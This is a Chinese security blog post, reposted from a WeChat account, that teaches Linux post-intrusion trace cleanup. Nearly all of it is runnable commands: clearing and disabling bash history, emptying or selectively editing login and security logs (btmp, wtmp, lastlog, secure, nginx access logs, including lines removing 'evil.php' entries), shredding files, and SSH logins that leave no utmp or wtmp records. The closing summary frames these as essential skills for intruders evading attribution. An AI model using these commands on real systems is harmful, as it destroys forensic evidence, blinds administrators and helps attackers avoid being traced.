【后渗透】入侵痕迹清理之Linux篇

admin 2023年4月24日08:04:58评论120 views字数 3743阅读12分28秒阅读模式

点击关注公众号,知识干货及时送达👇

【后渗透】入侵痕迹清理之Linux篇

1

前言

【后渗透】入侵痕迹清理之Linux篇

在入侵或测试某个系统或服务器的过程中,那么通常需要进行一系列的操作,如上传工具、创建文件、执行命令等。然而,在攻击结束后,如何清理入侵痕迹并避免被溯源,这其实是一个细致的技术活。

2

清除history记录

【后渗透】入侵痕迹清理之Linux篇

History记录原理:每当用户在shell中执行一个命令时,这个命令就会被记录下来,放置在缓存中,history命令查看的也是缓存中的命令,当exit退出时系统会将缓存的命令写入history文件~/.bash_history。如果在shell运行过程中kill掉其进程,则缓存命令不会写入history。

方法一:直接编辑history记录文件

编辑history记录文件,删除部分不想被保存的历史命令。

vim ~/.bash_history

方法二:直接编辑history记录文件

清除当前用户缓存的history命令记录,history命令本身不会被记录,但执行该命令之后的命令仍然会记录,所以要在退出前运行,不会删除history文件中的记录。

history -c

方法三:利用vim删除和执行命令

(1)利用vim特性删除历史命令

#使用vim打开一个文件
vi test.txt

# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0

# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history

# 清除保存.bash_history文件即可。

(2)在vim中执行自己不想让别人看到的命令

:set history=0
:!command

方法四:清除当前session缓存的命令记录

通过修改配置文件/etc/profile,使系统不再保存命令记录。

HISTSIZE=0      #对历史命令记录数量的限制
HISTFILESIZE=0  #对history文件.bash_history行数的限制

方法五:设置不记录历史命令

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

3

日志清除

【后渗透】入侵痕迹清理之Linux篇

在入侵目标系统之后,系统日志往往会记录下入侵者的一些操作行为和信息,例如登录时间、登录账号、访问文件等。因此,清除系统日志是非常关键的步骤。

Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。

日志 作用
/var/log/btmp 记录所有用户错误登录信息,二进制文件, 使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户成功登录、注销信息,二进制文件,使用last命令查看
/run/utmp 记录当前已经登录的用户信息,二进制文件,使用w、who、users等命令查看
/var/log/secure 或 /var/log/auth.log 记录与安全相关的日志信息,涉及使用账户和密码登录的程序都会记录
/var/log/lastlog 记录所有用户最后一次的登录时间的曰志,二进制文件,使用lastlog命令查看
/var/log/messages 记录系统启动后的信息和错误日志

Linux中绝大多数应用的日志文件的默认路径存储路径都在/var/log/目录下,比如:/var/log/apache2/access.log/var/log/nginx/access.log,root权限直接可以查看并删改,而且不需要停止当前应用运行的服务,日志的删改方法都是相同的,如下:

(1)清空日志文件

这种方式可以清除日志文件中的所有记录,不留下任何痕迹,但是容易被察觉,一般不推荐使用。将日志文件全部删除即将空字符写入日志文件,需要root权限,

有五种命令可以实现:

 cat /dev/null > filename
: > filename
> filename

echo "" > filename
echo > filename

 区别:前三种命令是真正意义上的清空,清空文件后文件大小为0,后两种命令因为echo是命令输出一个字符串,所以清空文件后会留下一个换行符,文件大小为1byte。

清除相关日志信息:

清除登录系统失败的记录:echo > /var/log/btmp               #查询不到登录失败信息
清除登录系统成功的记录:echo > /var/log/wtmp               #查询不到登录成功的信息
清除用户最后一次登录时间:echo > /var/log/lastlog          #lastlog命令
清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志记录:cat /dev/null >  /var/log/secure
清除系统日志记录:cat /dev/null >  /var/log/message

(2)删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。对于文本格式的日志文件,可以直接进入文件进行删改,也可以利用流编辑命令sed删除文件中匹配的行:

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d /var/log/messages

# 全局替换登录IP地址:
sed -i 's/192.168.2.1/192.168.1.1/g' secure

对于二进制日志文件,部分删除需要使用utmpdump命令,utmpdump可以将wtmp和utmp转换为文本文件,将文本文件编辑修改后恢复成二进制文件即可,如下面针对wtmp进行修改:

# 将二进制日志文件转换为可编辑的文本文件
utmpdump /var/log/wtmp >/var/log/wtmp.file

# 对文本文件进行编辑和修改
# 将编辑修改后的文本文件转换为二进制日志文件
utmpdump -r < /var/log/wtmp.file > /var/log/wtmp

(3)清除部分相关日志

# 使用grep -v来把我们的相关信息删除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log

4

文件擦除

【后渗透】入侵痕迹清理之Linux篇

rmrmdir删除的文件可以使用一些恢复工具轻松地找回,为避免数据被恢复,对于敏感文件和工具,应该使用覆写删除命令进行删除:

(1)shred命令

实现安全的从硬盘上擦除数据,默认覆盖3次,具体参数如下:

--help:显示shred命令的帮助信息。
-f, --force:强制执行,不提示用户确认信息。
-n, --iterations=N:指定要执行的覆盖次数,默认为3次。
-s, --size=N:指定每个覆盖块的大小,默认为512字节。
-u, --remove:在shred命令执行完之后,删除文件。
-v, --verbose:显示shred的详细进度信息。
-x, --exact:指定使用扩展的覆盖模式,包括对文件内部块排序和重复执行的策略。
-z, --zero:最后一次使用ascii的0x00进行覆盖以隐藏覆盖动作

使用示例:

# 将1.txt覆写6次后再填0x00,最后将其删除
[root@centos]# shred -f -u -z -v -n 8 1.txt # 或shred -zufvn 6 1.txt

#将file.txt覆盖一个10MB的随机字符串
[root@centos]# shred -s 10M -n 1 1.txt

#将1.txt使用扩展的覆盖模式,并在完成后删除它
[root@centos]# shred -xu 1.txt

(2)dd命令

dd 命令用于读取、转换并输出数据,也可用于安全地清除硬盘或者分区的内容。

使用方式如下:

[root@centos]# dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数

5

隐藏远程SSH登陆记录

【后渗透】入侵痕迹清理之Linux篇

  • 登录时不分配伪终端,在utmp、wtmp、btmp中不会有记录,不会被w、who、users、last、lastb命令发现:

ssh -T [email protected] /bin/bash -i
# -T:不分配伪终端
# -i:bash的参数,表示交互式shell
  • 不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i
# -o:options选择信息

6

总结

【后渗透】入侵痕迹清理之Linux篇

Linux入侵痕迹清理是入侵者必须掌握的技能之一。通过隐藏真实IP地址、清除系统日志、删除上传的工具和后门文件以及擦除入侵过程中产生的痕迹,入侵者可以有效地避免被溯源和追踪。

【后渗透】入侵痕迹清理之Linux篇

END

觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标【后渗透】入侵痕迹清理之Linux篇

原文始发于微信公众号(希石安全团队):【后渗透】入侵痕迹清理之Linux篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月24日08:04:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【后渗透】入侵痕迹清理之Linux篇https://cn-sec.com/archives/1688170.html

发表评论

匿名网友 填写信息